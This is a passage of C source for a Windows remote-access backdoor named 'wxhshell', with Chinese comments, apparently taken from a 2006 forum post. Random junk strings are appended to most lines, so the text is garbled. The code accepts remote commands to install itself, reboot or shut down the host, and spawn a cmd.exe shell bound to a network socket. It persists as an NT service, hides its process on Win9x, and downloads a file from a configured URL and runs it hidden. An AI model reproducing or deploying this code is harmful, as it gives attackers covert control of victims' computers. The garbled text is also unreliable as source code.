  // 帮助 K5{{:NR$  
  case '?': { QP:9%f>=  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Rb#/qkk/  
    break; pw=F' Y@N  
  } hcyn  
  // 安装 }wfI4?}j}  
  case 'i': { V{0%xz #  
    if(Install()) }t\ 10nQ  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ?~,JY  
    else gwiR/(1  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ?;^5ghY$  
    break; (k8Z=/N~  
    } /_q#a h  
  // 卸载 bo1I&I  
  case 'r': { .3@Ng  
    if(Uninstall()) to'j2jP  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ,ijW(95{k  
    else yw'ezpO"  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); JA<~xo[Q9  
    break; gKWzFnW  
    } uN9e:;  
  // 显示 wxhshell 所在路径 j{)~QD?  
  case 'p': { RyuEHpN}  
    char svExeFile[MAX_PATH]; Y''6NGf  
    strcpy(svExeFile,"\n\r"); a%E8(ms37y  
      strcat(svExeFile,ExeFile); M6_-f ;.  
        send(wsh,svExeFile,strlen(svExeFile),0); r{S=Z~J  
    break; 4:U0f;Fs  
    } dKm`14f]@G  
  // 重启 Jn*Nao_)  
  case 'b': { yX'IZk#_L  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); KaW~ERx5  
    if(Boot(REBOOT)) Rboof`pVt  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); $T),DUYO  
    else { wu2:'y>n  
    closesocket(wsh); #EG?9T  
    ExitThread(0); 1i3V!!r  
    } /'4Q{8.a  
    break; EjSD4  
    } yp p4L|R  
  // 关机 4{Udz!  
  case 'd': { =&2$/YX0D  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ;g9%&  
    if(Boot(SHUTDOWN)) E?Cj/o  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); J)*8|E9P  
    else { :_Fxy5}  
    closesocket(wsh); Hd 0Xx}3&  
    ExitThread(0); Vv7PCaq  
    } Xhse~=qA  
    break; H* /&A9("  
    } ({e7U17[#  
  // 获取shell  2:'lZQ  
  case 's': { BC({ EE~R)  
    CmdShell(wsh); )[jy[[K(  
    closesocket(wsh); g/#~N~&  
    ExitThread(0); YBvd q1  
    break; o@3B(j;J`  
  } q 5p e~  
  // 退出 ,d cg?48  
  case 'x': { )b92yP{  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); X`1p'JD  
    CloseIt(wsh); t#5:\U5r.  
    break; TEWAZVE*  
    } y9!:^kDI  
  // 离开 M"(6&M=?  
  case 'q': { sJ~P:g  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); uN bIX:L,  
    closesocket(wsh); {y6C0A*  
    WSACleanup(); 5 `=KyHi:b  
    exit(1); t77'fm  
    break; TsD;Kl1  
        } v459},!P  
  } Q]#Z9H  
  } + |C=ZU  
^f|<R8`  
  // 提示信息 -~O/NX  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); V#J"c8n  
} J`<f  
  } X+iK<F$  
!M(:U,?B  
  return; 0`n 5x0R  
} A(+:S"|@  
C[8KlD  
// shell模块句柄 $XGtS$  
int CmdShell(SOCKET sock) 0T))>.iu#  
{ <*Ub2B[m  
STARTUPINFO si; Dm%%e o  
ZeroMemory(&si,sizeof(si)); s.:r;%a  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; aZKXD! 4  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; # X/Q  
PROCESS_INFORMATION ProcessInfo; J3B.-XJ+n  
char cmdline[]="cmd"; VR4%v9[1  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); y|sma;D  
  return 0; 4AHL3@x  
} e4[) WNR  
dy:d=Z  
// 自身启动模式 ^ ulps**e  
int StartFromService(void) K-(;D4/sQE  
{ d>!p=O`>{q  
typedef struct H$tb;:  
{ 5v9uHxy  
  DWORD ExitStatus; 4ht\&2&:  
  DWORD PebBaseAddress; uyT/Xzo3  
  DWORD AffinityMask; Rp/-Pv   
  DWORD BasePriority; -H\,2FO  
  ULONG UniqueProcessId; O2v.  
  ULONG InheritedFromUniqueProcessId; &fSTR-8ev#  
}   PROCESS_BASIC_INFORMATION; hYb9`0G"2  
LgHJo-+>  
PROCNTQSIP NtQueryInformationProcess; d(S}NH  
10MU-h.)  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; \hbiU ]  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; |ym%| B  
H/J<Pd$p  
  HANDLE             hProcess; U3F3((EYJ  
  PROCESS_BASIC_INFORMATION pbi; ^~l  $&~  
f&yQhe6q  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); *#2Rvt*Ox  
  if(NULL == hInst ) return 0; O,mip  
Of`c`-<j  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ]k*1KP  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ,4Y*:JU4  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); =.b Y#4  
$bGD%9 z  
  if (!NtQueryInformationProcess) return 0;  I=[cZ;t  
&&PgOFD  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); SRCOs1(EK9  
  if(!hProcess) return 0; %&<W(|U1<  
4* M@]J "  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; El6bD% \G  
g$3> ~D  
  CloseHandle(hProcess); >}SRSqJu  
|4Ha?W  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); C4NRDwU|.  
if(hProcess==NULL) return 0; If'2rE7J  
 Oh`2tc-  
HMODULE hMod; (X}@^]lpa  
char procName[255]; T~s}Nx#  
unsigned long cbNeeded; yVS\Q,:J9  
sKfXg`0  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); wFL3& *  
84M3c  
  CloseHandle(hProcess); CLN+I'uX0  
%S#WPD'Y  
if(strstr(procName,"services")) return 1; // 以服务启动 Hr }k5'  
ow.6!tl0=h  
  return 0; // 注册表启动 x~/+RF XF  
} onl>54M^  
f0oek{  
// 主模块 Kx6y" {me|  
int StartWxhshell(LPSTR lpCmdLine) R8<eN9bJ9  
{ iV hJH4  
  SOCKET wsl; .Z%G@X*  
BOOL val=TRUE; >;nS8{2o  
  int port=0; Coa-8j*R7  
  struct sockaddr_in door; @J vZ[T/  
>V!LitdJ  
  if(wscfg.ws_autoins) Install(); sR*Nq5F#9  
'[Gm8K5  
port=atoi(lpCmdLine); Fu)Th|5GZ  
-&Gfh\_NW  
if(port<=0) port=wscfg.ws_port; hz)9"B\S  
f\K#>u* Q  
  WSADATA data; \0AiCMX[  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; -x'e+zT  
aqr!oxn?t  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   _!AJiP3!)4  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); (wA?;]q(  
  door.sin_family = AF_INET; U:lv^ QPG  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 2k1aX~?  
  door.sin_port = htons(port); QnKC#   
BUC,M:J+H  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { z $6JpG  
closesocket(wsl); C6@t  
return 1; 'IQsve7cI  
} SRz&Nb  
TzM=LvA  
  if(listen(wsl,2) == INVALID_SOCKET) { 2Q ayM?k8  
closesocket(wsl); \G;CQV#{9  
return 1; @@} `hii  
} zvf3b!}  
  Wxhshell(wsl); Dip*}8$o(w  
  WSACleanup(); $a.u05  
n33kb/q*  
return 0; U9ZbVjqv@  
H_B~P%E@]  
} =!<G!^  
S,vu]?-8  
// 以NT服务方式启动 kRot7-7I|  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) H(qm>h$bU  
{ :vQM>9l7  
DWORD   status = 0; /iC_!nu  
  DWORD   specificError = 0xfffffff; WE.Tuo5L  
6Rz[?-mkLO  
  serviceStatus.dwServiceType     = SERVICE_WIN32; GGE[{Gb9  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; c8ZCs?   
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 8H $#+^lW  
  serviceStatus.dwWin32ExitCode     = 0; DO^y;y>  
  serviceStatus.dwServiceSpecificExitCode = 0; >q(6,Mmb  
  serviceStatus.dwCheckPoint       = 0; NWKi ()nA%  
  serviceStatus.dwWaitHint       = 0; :ba/W&-d  
C\Ayv)S #2  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); pm]fQ uq  
  if (hServiceStatusHandle==0) return; iBvOJs  
ty- r&  
status = GetLastError(); Q}P-$X+/ n  
  if (status!=NO_ERROR) j Z'&0x"U  
{ ?q Xs-  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; l$XA5#k  
    serviceStatus.dwCheckPoint       = 0; - ]Y wl  
    serviceStatus.dwWaitHint       = 0; 6k9LxC:M  
    serviceStatus.dwWin32ExitCode     = status; K`4GU[ul  
    serviceStatus.dwServiceSpecificExitCode = specificError; X8CVY0<o  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); h4 vm{ho  
    return; ~:2K#q5C  
  } #nEL~&  
\A(5;ZnuD  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 3k{ @.V ?]  
  serviceStatus.dwCheckPoint       = 0;  _^T}_  
  serviceStatus.dwWaitHint       = 0; yGEb7I$h  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 9X]f[^  
} Q!$IQJ]|Y  
D'L{wm  
// 处理NT服务事件,比如:启动、停止  ;Qa;@  
VOID WINAPI NTServiceHandler(DWORD fdwControl) -P#nT 2  
{ ;.s: X  
switch(fdwControl) t)I0lnbs  
{ "DjU:*'  
case SERVICE_CONTROL_STOP: =Ahw%`/&}]  
  serviceStatus.dwWin32ExitCode = 0; v*r9j8  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; Z[} $n-V  
  serviceStatus.dwCheckPoint   = 0; "$8w.C  
  serviceStatus.dwWaitHint     = 0; &;v!oe   
  { gpAHC   
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); s*JE)  
  } 3qo e^e  
  return; o}~3JBn T  
case SERVICE_CONTROL_PAUSE: yWHne~!  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; X47Ol  
  break; 3w'W~  
case SERVICE_CONTROL_CONTINUE: mo9$NGM&}  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ;0j*>fb\q7  
  break; k/#>S*Ne  
case SERVICE_CONTROL_INTERROGATE: 3h&bZ  
  break; K-4tdC3  
}; !6E:5=L^  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); d@>\E/zA  
} }ywi"k4>  
./.=Rw  
// 标准应用程序主函数 t w!.%_1^  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ) `I=oB  
{ an KuTI  
h5!d  
// 获取操作系统版本 \)R-A '*U  
OsIsNt=GetOsVer(); qLRE}$P  
GetModuleFileName(NULL,ExeFile,MAX_PATH); |nm2Uy/0  
D rTM$)  
  // 从命令行安装 c[{UI  
  if(strpbrk(lpCmdLine,"iI")) Install(); a: IwA9!L  
,n5a])Dg  
  // 下载执行文件 gj;@?o0  
if(wscfg.ws_downexe) { wOcg4HlW  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) )E`+BH  
  WinExec(wscfg.ws_filenam,SW_HIDE); oKiD8':  
} P)IjL&[  
b~as64  
if(!OsIsNt) { ;[~^( . f  
// 如果时win9x,隐藏进程并且设置为注册表启动 'w6hW7"L  
HideProc(); UE7'B?  
StartWxhshell(lpCmdLine); w `!LFHK  
} `,Zb2"  
else w_H2gaQ  
  if(StartFromService()) 3{pk5_c  
  // 以服务方式启动 x@Vt[}e  
  StartServiceCtrlDispatcher(DispatchTable); 0n5!B..m}  
else ^0Q'./A{&  
  // 普通方式启动 8uA<G/Q;  
  StartWxhshell(lpCmdLine); 4NUN Ov`[{  
4:3_ER]J  
return 0; dXO=ZU/N  
}
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只看该作者 1 发表于: 2006-10-10
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